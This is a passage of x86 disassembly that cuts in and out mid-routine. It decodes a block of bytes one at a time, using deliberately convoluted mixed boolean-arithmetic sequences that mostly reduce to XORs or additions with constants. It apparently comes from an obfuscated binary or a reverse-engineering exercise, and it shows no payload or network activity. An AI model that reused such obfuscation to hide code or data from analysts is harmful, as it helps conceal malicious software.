add al, 0x9c
mov byte [0x47b951], al
mov al, byte [0x47b8d2]
mov cl, al
xor cl, 0xff
and cl, 0xaa
and al, 0x55
or cl, al
mov byte [0x47b952], cl
mov al, byte [0x47b8d3]
mov cl, al
xor cl, 0x45
mov dl, cl
xor dl, 0xff
and dl, 0xb3
and cl, 0x4c
or dl, cl
xor dl, 0x4c
and dl, 0x45
shl dl, 1
mov cl, dl
xor cl, 0x45
and dl, 0xba
shl dl, 1
sub dl, cl
sub al, dl
mov byte [str.qa6c], al
mov al, byte [0x47b8d4]
xor al, 0x1c
mov byte [0x47b954], al
mov cl, byte [0x47b8d5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xef
xor cl, 0xff
or cl, 0x10
and al, cl
xor al, 0xff
mov byte [0x47b955], al
mov al, byte [0x47b8d6]
xor al, 0x88
mov byte [0x47b956], al
mov al, byte [0x47b8d7]
xor al, 0xd1
mov byte [0x47b957], al
mov dl, byte [0x47b8d8]
mov al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0xd6
mov cl, dl
xor cl, 0xff
or cl, 0xd6
and dl, 0x29
xor dl, 0xff
and cl, dl
xor cl, 0xff
or al, cl
mov byte [0x47b958], al
mov al, byte [0x47b8d9]
xor al, 0x50
mov byte [0x47b959], al
mov al, byte [0x47b8da]
xor al, 0xdb
mov byte [0x47b95a], al
mov al, byte [0x47b8db]
xor al, 0xc2
mov byte [0x47b95b], al
mov al, byte [0x47b8dc]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xdf
and cl, 0xdf
and al, 0x20
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x47b95c], dl
mov dl, byte [0x47b8dd]
mov al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xfc
and dl, 3
or al, dl
mov cl, al
and cl, 3
shl cl, 1
add al, 3
sub al, cl
mov byte [0x47b95d], al
mov al, byte [0x47b8de]
mov cl, al
xor cl, 0xff
and cl, 0x18
and al, 0xe7
or cl, al
xor cl, 0xa
mov byte [0x47b95e], cl
mov al, byte [0x47b8df]
xor al, 0x66
mov byte [0x47b95f], al
mov al, byte [0x47b8e0]
mov dl, al
xor dl, 0xca
xor dl, 0xff
and dl, 0xca
shl dl, 1
mov cl, dl
xor cl, 0xca
and dl, 0x35
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x47b960], al
mov dl, byte [0x47b8e1]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0xc3
xor dl, 0xff
or dl, 0xc3
xor dl, 0xff
and dl, 0xff
or al, dl
mov cl, al
and cl, 0xbf
shl cl, 1
add al, 0xbf
sub al, cl
mov byte [0x47b961], al
mov al, byte [0x47b8e2]
mov cl, al
and cl, 0x61
shl cl, 1
add al, 0x61
sub al, cl
mov byte [0x47b962], al
mov al, byte [0x47b8e3]
xor al, 0x6c
mov byte [str.Ox_b_], al
mov al, byte [0x47b8e4]
xor al, 0x14
mov byte [0x47b964], al
mov cl, byte [0x47b8e5]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x90
xor cl, 0xff
and cl, 0x6f
or al, cl
xor al, 0xff
mov byte [0x47b965], al
mov al, byte [0x47b8e6]
mov cl, al
xor cl, 0xff
and cl, 0xe1
and al, 0x1e
or cl, al
xor cl, 0x20
mov byte [0x47b966], cl
mov al, byte [0x47b8e7]
xor al, 0x7b
mov byte [0x47b967], al
mov al, byte [0x47b8e8]
mov cl, al
and cl, 0x54
shl cl, 1
add al, 0x54
sub al, cl
mov byte [0x47b968], al
mov al, byte [str.aq_t]
mov ah, al
and ah, ah
mov cl, al
xor cl, cl
or ah, cl
xor ah, 0xff
xor ah, 0xff
mov dl, ah
and dl, 0xd7
xor dl, 0xff
and ah, 0xd7
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
or al, 0xd7
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b969], dl
mov al, byte [0x47b8ea]
mov dl, al
xor dl, 0xff
and dl, 0xc1
mov cl, al
and cl, 0x3e
or dl, cl
xor dl, 0x48
xor dl, 0xff
xor dl, 0xff
xor dl, 0x89
and dl, 0x89
shl dl, 1
sub dl, 0x89
sub al, 0x72
sub al, dl
add al, 0x72
mov byte [0x47b96a], al
mov al, byte [0x47b8eb]
xor al, 0xc9
mov byte [0x47b96b], al
mov bl, byte [0x47b8ec]
mov al, bl
and al, 0xa6
shl al, 1
mov dl, bl
add dl, 0xa6
sub dl, al
xor dl, 0xff
or dl, 0x59
add dl, 0xa7
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x16
sub al, 0xa6
sub al, 0x16
sub bl, al
mov byte [0x47b96c], bl
mov al, byte [0x47b8ed]
xor al, 0x6c
mov byte [0x47b96d], al
mov al, byte [0x47b8ee]
mov cl, al
xor cl, 0xff
or cl, 0x52
add cl, 0xae
and al, 0x52
mov dl, cl
and dl, al
xor cl, al
or dl, cl
mov byte [0x47b96e], dl
mov dl, byte [str.fIq]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
or al, 0x84
xor dl, 0xff
mov cl, dl
and cl, 0x7b
xor dl, 0x7b
or cl, dl
and al, cl
xor al, 0xff
mov byte [0x47b96f], al
mov al, byte [0x47b070]
mov cl, al
xor cl, 0xff
and cl, 0x1f
and al, 0xe0
or cl, al
mov byte [0x47b270], cl
mov al, byte [0x47b071]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
and dl, 0x90
and cl, 0x6f
or dl, cl
xor dl, 0x6f
xor dl, 0xff
or dl, 0x27
and al, 0x27
xor al, 0xff
xor dl, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
or dl, al
mov byte [0x47b271], dl
mov al, byte [0x47b072]
xor al, 0x54
mov byte [0x47b272], al
mov al, byte [0x47b073]
xor al, 0x2d
mov byte [0x47b273], al
mov al, byte [0x47b074]
xor al, 0xec
mov byte [0x47b274], al
mov al, byte [0x47b075]
xor al, 0x54
mov byte [0x47b275], al
mov al, byte [0x47b076]
mov cl, al
xor cl, 0xff
and cl, 0xcb
and al, 0x34
or cl, al
mov byte [0x47b276], cl
mov al, byte [0x47b077]
xor al, 0x95
mov byte [0x47b277], al
mov al, byte [0x47b078]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 2
xor al, 0xff
and al, 0xfd
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b278], dl
mov dl, byte [0x47b079]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0xed
and al, 0xed
mov cl, dl
xor cl, 0xff
or cl, 0xed
and dl, 0x12
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
or al, cl
mov byte [0x47b279], al
mov dl, byte [0x47b07a]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0x62
xor al, 0xff
and al, 0xff
and dl, 0x62
mov cl, al
or cl, dl
xor cl, 0xff
or al, dl
xor al, 0xff
or cl, al
xor cl, 0xff
xor cl, 0x44
mov byte [0x47b27a], cl
mov al, byte [0x47b07b]
mov cl, al
and cl, 0x98
shl cl, 1
add al, 0x98
sub al, cl
mov byte [0x47b27b], al
mov dl, byte [0x47b07c]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov ah, al
xor ah, 0xff
and ah, 0x83
and al, 0x7c
or ah, al
xor ah, 0x7c
mov al, ah
xor al, 0xff
and al, 0xca
or ah, 0x35
xor ah, 0xff
xor al, 0xff
xor ah, 0xff
and al, ah
mov ah, dl
xor ah, 0xca
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
xor al, 0xff
mov cl, ah
and cl, 0xff
shl cl, 1
add ah, 0xff
sub ah, cl
or al, ah
mov byte [0x47b27c], al
mov al, byte [0x47b07d]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x94
xor al, 0xff
and al, 0x6b
or cl, al
xor cl, 0xff
mov byte [0x47b27d], cl
mov cl, byte [0x47b07e]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x1e
xor al, 0xff
xor cl, 0xff
or cl, 0x1e
and al, cl
xor al, 0xff
mov byte [0x47b27e], al
mov cl, byte [0x47b07f]
mov al, cl
xor al, 0xff
and al, 0xbc
and cl, 0x43
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
mov cl, al
xor cl, 0x2e
xor cl, 0xff
and cl, 0x2e
shl cl, 1
sub cl, 0x2e
sub al, cl
mov byte [0x47b27f], al
mov al, byte [0x47b080]
mov dh, al
xor dh, 0xff
mov bl, al
xor bl, 0xff
and bl, 0xff
or bl, 0
mov dl, dh
xor dl, 0xff
mov bh, bl
xor bh, 0xff
mov ah, dl
and ah, 0xb5
and dh, 0x4a
mov cl, bh
and cl, 0xb5
and bl, 0x4a
or ah, dh
or cl, bl
xor ah, cl
or dl, bh
xor dl, 0xff
and dl, 0xff
or ah, dl
and ah, 0xdc
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
and al, 0x23
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
mov cl, dl
xor cl, al
add dl, cl
sub dl, ah
mov byte [0x47b280], dl
mov al, byte [0x47b081]
xor al, 0x29
mov byte [0x47b281], al
mov cl, byte [0x47b082]
mov al, cl
xor al, 0xff
and al, 0x63
mov dl, cl
xor dl, 0x63
and dl, cl
or al, dl
mov cl, al
and cl, 0x30
shl cl, 1
add al, 0x30
sub al, cl
mov byte [0x47b282], al
mov al, byte [0x47b083]
xor al, 0xd6
mov byte [0x47b283], al
mov al, byte [0x47b084]
xor al, 0xa2
mov byte [0x47b284], al
mov al, byte [0x47b085]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x7f
xor cl, 0xff
and al, 0x80
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47b285], cl
mov al, byte [0x47b086]
xor al, 0x4c
mov byte [0x47b286], al
mov al, byte [0x47b087]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x1c
xor al, 0xff
or al, 0xe3
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b287], dl
mov al, byte [0x47b088]
xor al, 0x6f
mov byte [0x47b288], al
mov al, byte [str.__wD]
xor al, 0x8c
mov byte [0x47b289], al
mov al, byte [0x47b08a]
mov cl, al
xor cl, 0xff
and cl, 0x35
and al, 0xca
or cl, al
xor cl, 0x59
mov byte [0x47b28a], cl
mov ah, byte [0x47b08b]
mov dh, ah
xor dh, 0xff
and dh, 0x47
and ah, 0xb8
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0x3a
and dh, 0xc5
mov cl, bl
and cl, 0x3a
and ah, 0xc5
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
xor dl, 0xf4
mov byte [0x47b28b], dl
mov al, byte [0x47b08c]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0xa8
and dl, 0x57
or ah, dl
xor ah, 0x57
mov cl, ah
xor cl, 0x58
xor cl, 0xff
or ah, 0x58
and ah, cl
or al, 0x58
xor al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x47b28c], ah
mov al, byte [0x47b08d]
mov cl, al
add cl, 1
mov dl, al
xor dl, 0xff
or dl, al
add dl, cl
xor dl, 0xff
xor dl, 0xff
or dl, 0x6d
xor al, 0xff
mov cl, al
and cl, 0x6d
mov ah, al
xor ah, 0x92
add al, ah
sub al, cl
xor dl, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
or dl, al
mov byte [0x47b28d], dl
mov al, byte [0x47b08e]
mov cl, al
xor cl, 0x67
xor cl, 0xff
and cl, 0x67
shl cl, 1
sub cl, 0x67
sub al, cl
mov byte [0x47b28e], al
mov al, byte [0x47b08f]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ch, al
sub ch, cl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0x1a
xor cl, 0xff
add dl, 0x1a
add dl, 1
add dl, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, al
and cl, 0xe5
xor al, 0xe5
or cl, al
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov byte [0x47b28f], dl
mov al, byte [0x47b090]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x59
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x59
and dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0x59
shl dl, 1
sub dl, 0x59
sub al, dl
mov byte [0x47b290], al
mov al, byte [0x47b091]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x58
xor cl, 0xff
xor al, 0xff
or al, 0x58
and cl, al
xor cl, 0xff
mov byte [0x47b291], cl
mov bl, byte [0x47b092]
mov dl, bl
xor dl, 0x89
xor dl, 0xff
and dl, 0x89
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x89
add bl, 0xcb
sub bl, al
sub bl, 0xcb
mov byte [0x47b292], bl
mov al, byte [0x47b093]
mov cl, al
xor cl, 0x5e
xor cl, 0xff
and cl, 0x5e
shl cl, 1
sub cl, 0x5e
sub al, cl
mov byte [0x47b293], al
mov dl, byte [0x47b094]
mov dh, dl
or dh, dh
mov al, dh
and al, 0xff
shl al, 1
add dh, 0xff
sub dh, al
mov ah, dh
xor ah, 0xff
mov al, ah
and al, 5
and dh, 0xfa
or al, dh
xor al, 0x40
or ah, 0xba
xor ah, 0xff
and ah, 0xff
or al, ah
xor al, 0xff
or dl, 0xba
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov dl, al
xor dl, 0xff
and dl, 0x44
and al, 0xbb
or dl, al
xor dl, 0xbb
xor ah, 0xff
and ah, 0xff
or ah, 0
and dl, ah
mov byte [0x47b294], dl
mov al, byte [0x47b095]
xor al, 0xc2
mov byte [0x47b295], al
mov al, byte [0x47b096]
xor al, 0x7d
mov byte [0x47b296], al
mov al, byte [0x47b097]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, al
xor cl, 0xff
or ah, cl
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xac
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
and al, 0x53
mov cl, al
xor cl, 0xff
and cl, 0x2b
and al, 0xd4
or cl, al
xor cl, 0xd4
mov al, dl
and al, cl
xor al, 0xff
and dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
xor al, 0xff
mov byte [0x47b297], al
mov al, byte [0x47b098]
xor al, 0x2d
mov byte [0x47b298], al
mov cl, byte [0x47b099]
mov al, cl
xor al, 0xff
xor al, 0xff
xor al, 0x40
and al, 0x40
and cl, 0xbf
or al, cl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xf3
xor al, 0xff
or al, 0xc
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [str._dq9], dl
mov al, byte [0x47b09a]
xor al, 0xd7
mov byte [0x47b29a], al
mov al, byte [0x47b09b]
xor al, 0x4b
mov byte [0x47b29b], al
mov al, byte [0x47b09c]
xor al, 0xee
mov byte [0x47b29c], al
mov al, byte [0x47b09d]
xor al, 0x86
mov byte [0x47b29d], al
mov al, byte [0x47b09e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x85
and al, 0x85
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b29e], dl
mov dl, byte [0x47b09f]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 7
xor cl, 0xff
or cl, 7
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 7
add dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
or al, dl
xor al, 0xff
or cl, al
xor cl, 0xff
xor cl, 0x94
mov byte [0x47b29f], cl
mov al, byte [0x47b0a0]
xor al, 0x6e
mov byte [0x47b2a0], al
mov al, byte [0x47b0a1]
xor al, 0xac
mov byte [0x47b2a1], al
mov dl, byte [0x47b0a2]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0xd6
and dl, 0x29
or al, dl
xor al, 0xda
mov byte [0x47b2a2], al
mov al, byte [0x47b0a3]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0x4d
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xb2
add al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x47b2a3], cl
mov al, byte [0x47b0a4]
xor al, 6
mov byte [0x47b2a4], al
mov al, byte [0x47b0a5]
xor al, 0xff
mov byte [0x47b2a5], al
mov cl, byte [0x47b0a6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0x66
xor cl, 0xff
and cl, 0x99
or al, cl
xor al, 0xff
mov byte [0x47b2a6], al
mov cl, byte [0x47b0a7]
mov al, cl
xor al, 0xff
and al, 0xef
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x10
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 8
mov byte [0x47b2a7], al
mov al, byte [0x47b0a8]
xor al, 0x29
mov byte [0x47b2a8], al
mov al, byte [0x47b0a9]
xor al, 0xf3
mov byte [0x47b2a9], al
mov al, byte [0x47b0aa]
xor al, 0x47
mov byte [0x47b2aa], al
mov al, byte [0x47b0ab]
xor al, 0xc9
mov byte [0x47b2ab], al
mov al, byte [0x47b0ac]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x45
xor dl, 0xff
xor al, 0xff
and al, 0x45
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b2ac], dl
mov al, byte [0x47b0ad]
xor al, 0x18
mov byte [0x47b2ad], al
mov cl, byte [0x47b0ae]
mov al, cl
xor al, 0xff
and al, 0x3d
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xc2
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov byte [0x47b2ae], dl
mov al, byte [0x47b0af]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
and dl, 0x18
and al, 0xe7
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x47b2af], dl
mov al, byte [0x47b0b0]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
or dl, 0xc0
add dl, 0x40
and al, 0xc0
or dl, al
xor dl, 0xf6
mov byte [0x47b2b0], dl
mov al, byte [0x47b0b1]
xor al, 0xb0
mov byte [0x47b2b1], al
mov dl, byte [0x47b0b2]
mov al, dl
xor al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x6e
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x91
add dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
xor cl, 0xdb
mov byte [0x47b2b2], cl
mov al, byte [0x47b0b3]
xor al, 0x53
mov byte [0x47b2b3], al
mov al, byte [0x47b0b4]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x5c
xor dl, 0xff
xor al, 0xff
or al, 0x5c
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b2b4], dl
mov al, byte [0x47b0b5]
xor al, 0xfc
mov byte [0x47b2b5], al
mov al, byte [0x47b0b6]
xor al, 0x96
mov byte [0x47b2b6], al
mov al, byte [0x47b0b7]
mov cl, al
xor cl, 0x4b
and cl, al
shl cl, 1
add al, 0xb4
sub al, cl
mov byte [0x47b2b7], al
mov al, byte [0x47b0b8]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x26
xor al, 0xff
and al, 0xd9
or cl, al
xor cl, 0xff
mov byte [0x47b2b8], cl
mov al, byte [0x47b0b9]
mov cl, al
and cl, 0x9b
shl cl, 1
add al, 0x9b
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x47b2b9], al
mov al, byte [0x47b0ba]
xor al, 0xe3
mov byte [0x47b2ba], al
mov al, byte [0x47b0bb]
mov cl, al
and cl, 0xc9
shl cl, 1
add al, 0xc9
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x47b2bb], al
mov al, byte [0x47b0bc]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xd
xor dl, 0xff
xor al, 0xff
and al, 0xd
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b2bc], dl
mov al, byte [0x47b0bd]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 6
xor dl, 0xff
mov cl, al
or cl, 0xf9
xor cl, 0xff
or dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xf9
shl dl, 1
add dl, 7
sub al, 0x4b
sub al, dl
add al, 0x4b
mov byte [0x47b2bd], al
mov al, byte [0x47b0be]
mov cl, al
and cl, 7
shl cl, 1
add al, 7
sub al, cl
mov byte [0x47b2be], al
mov al, byte [0x47b0bf]
xor al, 0x84
mov byte [0x47b2bf], al
mov al, byte [0x47b0c0]
mov cl, al
xor cl, 0xff
and cl, 0x88
and al, 0x77
or cl, al
mov byte [0x47b2c0], cl
mov al, byte [0x47b0c1]
mov cl, al
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xdb
and al, 0x24
or cl, al
mov byte [0x47b2c1], cl
mov bl, byte [0x47b0c2]
mov dl, bl
and dl, 2
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub bl, 0xfe
sub bl, al
mov byte [0x47b2c2], bl
mov al, byte [0x47b0c3]
xor al, 0x21
mov byte [0x47b2c3], al
mov al, byte [0x47b0c4]
mov cl, al
and cl, 0xff
shl cl, 1
mov dh, al
add dh, 0xff
sub dh, cl
and dh, 0x84
and al, 0x7b
mov dl, dh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, dl
and ah, 0xb3
and dh, 0x4c
mov cl, bl
and cl, 0xb3
and al, 0x4c
or ah, dh
or cl, al
xor ah, cl
or dl, bl
xor dl, 0xff
and dl, 0xff
or ah, dl
xor ah, 0x7b
mov byte [0x47b2c4], ah
mov al, byte [0x47b0c5]
xor al, 0x5a
mov byte [0x47b2c5], al
mov al, byte [0x47b0c6]
xor al, 0x1f
mov byte [0x47b2c6], al
mov al, byte [0x47b0c7]
mov cl, al
and cl, 0x5a
shl cl, 1
add al, 0x5a
sub al, cl
mov byte [0x47b2c7], al
mov dl, byte [0x47b0c8]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
xor al, 2
and al, 2
and dl, 0xfd
mov cl, al
and cl, dl
xor al, dl
or cl, al
xor cl, 0x5c
mov byte [0x47b2c8], cl
mov al, byte [0x47b0c9]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xa2
xor dl, 0xff
and al, 0x5d
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47b2c9], dl
mov dl, byte [0x47b0ca]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xa9
and dl, 0x56
or al, dl
mov cl, al
xor cl, 0xbd
xor cl, 0xff
and cl, 0xbd
shl cl, 1
sub cl, 0xbd
sub al, cl
mov byte [0x47b2ca], al
mov al, byte [0x47b0cb]
xor al, 0x1e
mov byte [0x47b2cb], al
mov al, byte [0x47b0cc]
xor al, 0x2a
mov byte [0x47b2cc], al
mov al, byte [0x47b0cd]
mov cl, al
xor cl, 0xff
and cl, 0x85
and al, 0x7a
or cl, al
xor cl, 0x3b
mov byte [0x47b2cd], cl
mov bl, byte [0x47b0ce]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0x79
xor dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x86
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x47b2ce], bl
mov bl, byte [0x47b0cf]
mov dl, bl
and dl, 0xef
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xef
sub bl, 0x46
sub bl, al
add bl, 0x46
mov byte [0x47b2cf], bl
mov dl, byte [0x47b0d0]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0x3f
xor al, 0xff
and al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x3f
add dl, cl
xor dl, 0xff
xor al, 0xff
xor dl, 0xff
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov byte [0x47b2d0], cl
mov al, byte [0x47b0d1]
xor al, 0xb9
mov byte [0x47b2d1], al
mov al, byte [0x47b0d2]
mov cl, al
and cl, 0x80
shl cl, 1
add al, 0x80
sub al, cl
mov byte [0x47b2d2], al
mov al, byte [0x47b0d3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xe0
xor dl, 0xff
xor al, 0xff
and al, 0xe0
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47b2d3], dl
mov al, byte [0x47b0d4]
xor al, 0x76
mov byte [0x47b2d4], al
mov al, byte [0x47b0d5]
xor al, 0xb2
mov byte [0x47b2d5], al
mov al, byte [0x47b0d6]
mov cl, al
xor cl, 0xff
and cl, 0x3f
and al, 0xc0
or cl, al
mov byte [0x47b2d6], cl
mov cl, byte [0x47b0d7]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x42
and cl, 0x42
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47b2d7], al
mov al, byte [0x47b0d8]
mov cl, al
xor cl, 0xff
and cl, 0xfb
and al, 4
mov dl, cl
and dl, al
xor cl, al
or dl, cl
xor dl, 0x65
mov byte [0x47b2d8], dl
mov al, byte [0x47b0d9]
mov cl, al
xor cl, 0xa1
xor cl, 0xff
and cl, 0xa1
shl cl, 1
sub cl, 0xa1
sub al, cl
mov byte [0x47b2d9], al
mov al, byte [0x47b0da]
xor al, 0x5c
mov byte [0x47b2da], al
mov al, byte [0x47b0db]
mov cl, al
xor cl, 0xff
and cl, 0x24
and al, 0xdb
or cl, al
mov byte [0x47b2db], cl
mov dl, byte [0x47b0dc]
mov al, dl
xor al, 0xff
and al, 0x6c
mov cl, dl
and cl, 0x93
or al, cl
xor al, 0x93
xor al, 0xff
or al, 0xa5
xor al, 0xff
and al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xa5
add dl, cl
or al, dl
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xc8
xor al, 0xff
or al, 0x37
and cl, al
xor cl, 0xff
mov byte [0x47b2dc], cl
mov al, byte [0x47b0dd]
xor al, 0xcd
mov byte [0x47b2dd], al
mov al, byte [0x47b0de]
